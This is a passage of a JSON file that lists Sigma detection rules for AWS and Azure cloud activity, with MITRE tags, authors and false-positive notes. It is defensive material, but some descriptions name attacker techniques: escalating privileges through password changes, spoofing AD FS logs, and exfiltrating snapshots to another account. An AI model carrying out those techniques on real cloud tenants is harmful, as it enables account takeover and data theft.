"https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", - "https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_passed_role_to_glue_development_endpoint.yml" - ], - "tags": [ - "attack.privilege_escalation" - ], - "creation_date": "2021/10/03", - "filename": "aws_passed_role_to_glue_development_endpoint.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "Glue Development Endpoint Activity may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects the change of database master password. It may be a part of data exfiltration.", - "uuid": "8a63cdd4-6207-414a-85bc-7e032bd3c1a2", - "value": "AWS RDS Master Password Change", - "meta": { - "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_change_master_password.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1020" - ], - "creation_date": "2020/02/12", - "filename": "aws_rds_change_master_password.yml", - "author": "faloker", - "level": "medium", - "falsepositive": [ - "Benign changes to a db instance" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.", - "uuid": "c3f265c7-ff03-4056-8ab2-d486227b4599", - "value": "Restore Public AWS RDS Instance", - "meta": { - "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_public_db_restore.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1020" - ], - "creation_date": "2020/02/12", - "filename": "aws_rds_public_db_restore.yml", - "author": "faloker", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects AWS root account usage", - "uuid": "8ad1600d-e9dc-4251-b0ee-a65268f29add", - "value": "AWS Root Credentials", - "meta": { - "refs": [ - "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_root_account_usage.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1078.004" - ], - "creation_date": "2020/01/21", - "filename": "aws_root_account_usage.yml", - "author": "vitaliy0x1", - "level": "medium", - "falsepositive": [ - "AWS Tasks That Require AWS Account Root User Credentials https://docs.aws.amazon.com/general/latest/gr/aws_tasks-that-require-root.html" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.", - "uuid": "3940b5f1-3f46-44aa-b746-ebe615b879e0", - "value": "AWS Route 53 Domain Transfer Lock Disabled", - "meta": { - "refs": [ - "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml", - "https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html", - "https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_lock_disabled.yml" - ], - "tags": [ - "attack.persistence", - "attack.credential_access", - "attack.t1098" - ], - "creation_date": "2021/07/22", - "filename": "aws_route_53_domain_transferred_lock_disabled.yml", - "author": "Elastic, Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "A domain transfer lock may be disabled by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Activity from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects when a request has been made to transfer a Route 53 domain to another AWS account.", - "uuid": "b056de1a-6e6e-4e40-a67e-97c9808cf41b", - "value": "AWS Route 53 Domain Transferred to Another Account", - "meta": { - "refs": [ - "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_to_another_account.yml" - ], - "tags": [ - "attack.persistence", - "attack.credential_access", - "attack.t1098" - ], - "creation_date": "2021/07/22", - "filename": "aws_route_53_domain_transferred_to_another_account.yml", - "author": "Elastic, Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "A domain may be transferred to another AWS account by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Domain transfers from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects when a user tampers with S3 data management in Amazon Web Services.", - "uuid": "78b3756a-7804-4ef7-8555-7b9024a02e2d", - "value": "AWS S3 Data Management Tampering", - "meta": { - "refs": [ - "https://github.com/elastic/detection-rules/pull/1145/files", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html", - "https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_s3_data_management_tampering.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1537" - ], - "creation_date": "2021/07/24", - "filename": "aws_s3_data_management_tampering.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "A S3 configuration change may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. S3 configuration change from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects the modification of the findings on SecurityHub.", - "uuid": "a607e1fe-74bf-4440-a3ec-b059b9103157", - "value": "AWS SecurityHub Findings Evasion", - "meta": { - "refs": [ - "https://docs.aws.amazon.com/cli/latest/reference/securityhub/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_securityhub_finding_evasion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ], - "creation_date": "2021/06/28", - "filename": "aws_securityhub_finding_evasion.yml", - "author": "Sittikorn S", - "level": "high", - "falsepositive": [ - "System or Network administrator behaviors", - "DEV, UAT, SAT environment. You should apply this rule with PROD environment only." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects the modification of an EC2 snapshot's permissions to enable access from another account", - "uuid": "abae8fec-57bd-4f87-aff6-6e3db989843d", - "value": "AWS Snapshot Backup Exfiltration", - "meta": { - "refs": [ - "https://www.justice.gov/file/1080281/download", - "https://attack.mitre.org/techniques/T1537/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_snapshot_backup_exfiltration.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1537" - ], - "creation_date": "2021/05/17", - "filename": "aws_snapshot_backup_exfiltration.yml", - "author": "Darin Smith", - "level": "medium", - "falsepositive": [ - "Valid change to a snapshot's permissions" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.", - "uuid": "905d389b-b853-46d0-9d3d-dea0d3a3cd49", - "value": "AWS STS AssumeRole Misuse", - "meta": { - "refs": [ - "https://github.com/elastic/detection-rules/pull/1214", - "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_assumerole_misuse.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", - "attack.t1548", - "attack.t1550", - "attack.t1550.001" - ], - "creation_date": "2021/07/24", - "filename": "aws_sts_assumerole_misuse.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "AssumeRole may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "AssumeRole from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.", - "Automated processes that uses Terraform may lead to false positives." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.", - "uuid": "b45ab1d2-712f-4f01-a751-df3826969807", - "value": "AWS STS GetSessionToken Misuse", - "meta": { - "refs": [ - "https://github.com/elastic/detection-rules/pull/1213", - "https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_getsessiontoken_misuse.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", - "attack.t1548", - "attack.t1550", - "attack.t1550.001" - ], - "creation_date": "2021/07/24", - "filename": "aws_sts_getsessiontoken_misuse.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "GetSessionToken may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. GetSessionToken from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.", - "uuid": "f43f5d2f-3f2a-4cc8-b1af-81fde7dbaf0e", - "value": "AWS Suspicious SAML Activity", - "meta": { - "refs": [ - "https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html", - "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_susp_saml_activity.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078", - "attack.lateral_movement", - "attack.t1548", - "attack.privilege_escalation", - "attack.t1550", - "attack.t1550.001" - ], - "creation_date": "2021/09/22", - "filename": "aws_susp_saml_activity.yml", - "author": "Austin Songer", - "level": "medium", - "falsepositive": [ - "Automated processes that uses Terraform may lead to false positives.", - "SAML Provider could be updated by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "SAML Provider being updated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "An attacker with the iam:UpdateLoginProfile permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.\nWith this alert, it is used to detect anyone is changing password on behalf of other users.\n", - "uuid": "055fb148-60f8-462d-ad16-26926ce050f1", - "value": "AWS User Login Profile Was Modified", - "meta": { - "refs": [ - "https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_update_login_profile.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2021/08/09", - "filename": "aws_update_login_profile.yml", - "author": "toffeebr33k", - "level": "high", - "falsepositive": [ - "Legit User Account Administration" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service.\nA threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server.\nThis can be done programmatically via HTTP requests to Azure.\n", - "uuid": "288a39fc-4914-4831-9ada-270e9dc12cb4", - "value": "Azure Active Directory Hybrid Health AD FS New Server", - "meta": { - "refs": [ - "https://o365blog.com/post/hybridhealthagent/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_new_server.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1578" - ], - "creation_date": "2021/08/26", - "filename": "azure_aadhybridhealth_adfs_new_server.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "level": "medium", - "falsepositive": [ - "Legitimate AD FS servers added to an AAD Health AD FS service instance" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant.\nA threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs.\nThe health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.\n", - "uuid": "48739819-8230-4ee3-a8ea-e0289d1fb0ff", - "value": "Azure Active Directory Hybrid Health AD FS Service Delete", - "meta": { - "refs": [ - "https://o365blog.com/post/hybridhealthagent/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_service_delete.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1578.003" - ], - "creation_date": "2021/08/26", - "filename": "azure_aadhybridhealth_adfs_service_delete.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "level": "medium", - "falsepositive": [ - "Legitimate AAD Health AD FS service instances being deleted in a tenant" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Monitor and alert on conditional access changes where non approved actor removed CA Policy.", - "uuid": "26e7c5e2-6545-481e-b7e6-050143459635", - "value": "CA Policy Removed by Non Approved Actor", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_removedby_bad_actor.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1548" - ], - "creation_date": "2022/07/19", - "filename": "azure_aad_secops_ca_policy_removedby_bad_actor.yml", - "author": "Corissa Koopmans, '@corissalea'", - "level": "medium", - "falsepositive": [ - "Misconfigured role permissions", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare \"old\" vs \"new\" value.", - "uuid": "50a3c7aa-ec29-44a4-92c1-fce229eef6fc", - "value": "CA Policy Updated by Non Approved Actor", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_updatedby_bad_actor.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1548" - ], - "creation_date": "2022/07/19", - "filename": "azure_aad_secops_ca_policy_updatedby_bad_actor.yml", - "author": "Corissa Koopmans, '@corissalea'", - "level": "medium", - "falsepositive": [ - "Misconfigured role permissions", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Monitor and alert on conditional access changes.", - "uuid": "0922467f-db53-4348-b7bf-dee8d0d348c6", - "value": "New CA Policy by Non-approved Actor", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_new_ca_policy_addedby_bad_actor.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1548" - ], - "creation_date": "2022/07/18", - "filename": "azure_aad_secops_new_ca_policy_addedby_bad_actor.yml", - "author": "Corissa Koopmans, '@corissalea'", - "level": "medium", - "falsepositive": [ - "Misconfigured role permissions", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Define a baseline threshold and then monitor and adjust to suit your organizational behaviors and limit false alerts from being generated.", - "uuid": "dff74231-dbed-42ab-ba49-83289be2ac3a", - "value": "Sign-in Failure Bad Password Threshold", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_signin_failure_bad_password_threshold.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ], - "creation_date": "2022/04/21", - "filename": "azure_aad_secops_signin_failure_bad_password_threshold.yml", - "author": "Corissa Koopmans, '@corissalea'", - "level": "high", - "falsepositive": [ - "Failed Azure AD Connect Synchronization", - "Service account use with an incorrect password specified", - "Misconfigured systems", - "Vulnerability scanners" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.", - "uuid": "2b7d6fc0-71ac-4cf7-8ed1-b5788ee5257a", - "value": "Account Lockout", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_account_lockout.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ], - "creation_date": "2021/10/10", - "filename": "azure_account_lockout.yml", - "author": "AlertIQ", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when an account was created and deleted in a short period of time.", - "uuid": "6f583da0-3a90-4566-a4ed-83c09fe18bbf", - "value": "Account Created And Deleted Within A Close Time Frame", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#short-lived-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_account_created_deleted.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ], - "creation_date": "2022/08/11", - "filename": "azure_ad_account_created_deleted.yml", - "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", - "level": "high", - "falsepositive": [ - "Legit administrative action" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detect successful authentications from countries you do not operate out of.", - "uuid": "8c944ecb-6970-4541-8496-be554b8e2846", - "value": "Successful Authentications From Countries You Do Not Operate Out Of", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml" - ], - "tags": [ - "attack.t1078" - ], - "creation_date": "2022/07/28", - "filename": "azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml", - "author": "MikeDuddington, '@dudders1'", - "level": "medium", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when sign-ins increased by 10% or greater.", - "uuid": "e1d02b53-c03c-4948-b11d-4d00cca49d03", - "value": "Increased Failed Authentications Of Any Type", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-failed-unusual-sign-ins", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_failure_increase.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ], - "creation_date": "2022/08/11", - "filename": "azure_ad_auth_failure_increase.yml", - "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1'", - "level": "medium", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when successful sign-ins increased by 10% or greater.", - "uuid": "67d5f8fc-8325-44e4-8f5f-7c0ac07cb5ae", - "value": "Measurable Increase Of Successful Authentications", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-successful-unusual-sign-ins", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_sucess_increase.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ], - "creation_date": "2022/08/11", - "filename": "azure_ad_auth_sucess_increase.yml", - "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", - "level": "low", - "falsepositive": [ - "Increase of users in the environment" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detect when authentications to important application(s) only required single-factor authentication", - "uuid": "f272fb46-25f2-422c-b667-45837994980f", - "value": "Authentications To Important Apps Using Single Factor Authentication", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_to_important_apps_using_single_factor_auth.yml" - ], - "tags": [ - "attack.t1078" - ], - "creation_date": "2022/07/28", - "filename": "azure_ad_auth_to_important_apps_using_single_factor_auth.yml", - "author": "MikeDuddington, '@dudders1'", - "level": "medium", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Monitor and alert for Bitlocker key retrieval.", - "uuid": "a0413867-daf3-43dd-9245-734b3a787942", - "value": "Bitlocker Key Retrieval", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#bitlocker-key-retrieval", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_bitlocker_key_retrieval.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ], - "creation_date": "2022/06/28", - "filename": "azure_ad_bitlocker_key_retrieval.yml", - "author": "Michael Epping, '@mepples21'", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Monitor and alert for device registration or join events where MFA was not performed.", - "uuid": "5afa454e-030c-4ab4-9253-a90aa7fcc581", - "value": "Device Registration or Join Without MFA", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_or_join_without_mfa.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ], - "creation_date": "2022/06/28", - "filename": "azure_ad_device_registration_or_join_without_mfa.yml", - "author": "Michael Epping, '@mepples21'", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Monitor and alert for changes to the device registration policy.", - "uuid": "9494bff8-959f-4440-bbce-fb87a208d517", - "value": "Changes to Device Registration Policy", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_policy_changes.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1484" - ], - "creation_date": "2022/06/28", - "filename": "azure_ad_device_registration_policy_changes.yml", - "author": "Michael Epping, '@mepples21'", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detect failed authentications from countries you do not operate out of.", - "uuid": "28870ae4-6a13-4616-bd1a-235a7fad7458", - "value": "Failed Authentications From Countries You Do Not Operate Out Of", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml" - ], - "tags": [ - "attack.t1078" - ], - "creation_date": "2022/07/28", - "filename": "azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml", - "author": "MikeDuddington, '@dudders1'", - "level": "low", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects guest users being invited to tenant by non-approved inviters", - "uuid": "4ad97bf5-a514-41a4-abd3-4f3455ad4865", - "value": "Guest Users Invited To Tenant By Non Approved Inviters", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml" - ], - "tags": [ - "attack.t1078" - ], - "creation_date": "2022/07/28", - "filename": "azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml", - "author": "MikeDuddington, '@dudders1'", - "level": "medium", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detect when users are authenticating without MFA being required.", - "uuid": "28eea407-28d7-4e42-b0be-575d5ba60b2c", - "value": "Azure AD Only Single Factor Authentication Required", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_only_single_factor_auth_required.yml" - ], - "tags": [ - "attack.t1078" - ], - "creation_date": "2022/07/27", - "filename": "azure_ad_only_single_factor_auth_required.yml", - "author": "MikeDuddington, '@dudders1'", - "level": "low", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Monitor and alert for sign-ins where the device was non-compliant.", - "uuid": "4f77e1d7-3982-4ee0-8489-abf2d6b75284", - "value": "Sign-ins from Non-Compliant Devices", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_sign_ins_from_noncompliant_devices.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ], - "creation_date": "2022/06/28", - "filename": "azure_ad_sign_ins_from_noncompliant_devices.yml", - "author": "Michael Epping, '@mepples21'", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.", - "uuid": "4d136857-6a1a-432a-82fc-5dd497ee5e7c", - "value": "Sign-ins by Unknown Devices", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_sign_ins_from_unknown_devices.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ], - "creation_date": "2022/06/28", - "filename": "azure_ad_sign_ins_from_unknown_devices.yml", - "author": "Michael Epping, '@mepples21'", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Monitor and alert for users added to device admin roles.", - "uuid": "11c767ae-500b-423b-bae3-b234450736ed", - "value": "Users Added to Global or Device Admin Roles", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-administrator-roles", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_users_added_to_device_admin_roles.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1078" - ], - "creation_date": "2022/06/28", - "filename": "azure_ad_users_added_to_device_admin_roles.yml", - "author": "Michael Epping, '@mepples21'", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "User Added to an Administrator's Azure AD Role", - "uuid": "ebbeb024-5b1d-4e16-9c0c-917f86c708a7", - "value": "User Added to an Administrator's Azure AD Role", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1098/003/", - "https://m365internals.com/2021/07/13/what-ive-learned-from-doing-a-year-of-cloud-forensics-in-azure-ad/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_user_added_to_admin_role.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098.003" - ], - "creation_date": "2021/10/04", - "filename": "azure_ad_user_added_to_admin_role.yml", - "author": "Rapha\u00ebl CALVET, @MetallicHack", - "level": "medium", - "falsepositive": [ - "PIM (Privileged Identity Management) generates this event each time 'eligible role' is enabled." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a application is deleted in Azure.", - "uuid": "410d2a41-1e6d-452f-85e5-abdd8257a823", - "value": "Azure Application Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_deleted.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2021/09/03", - "filename": "azure_application_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Application being deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Application deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], 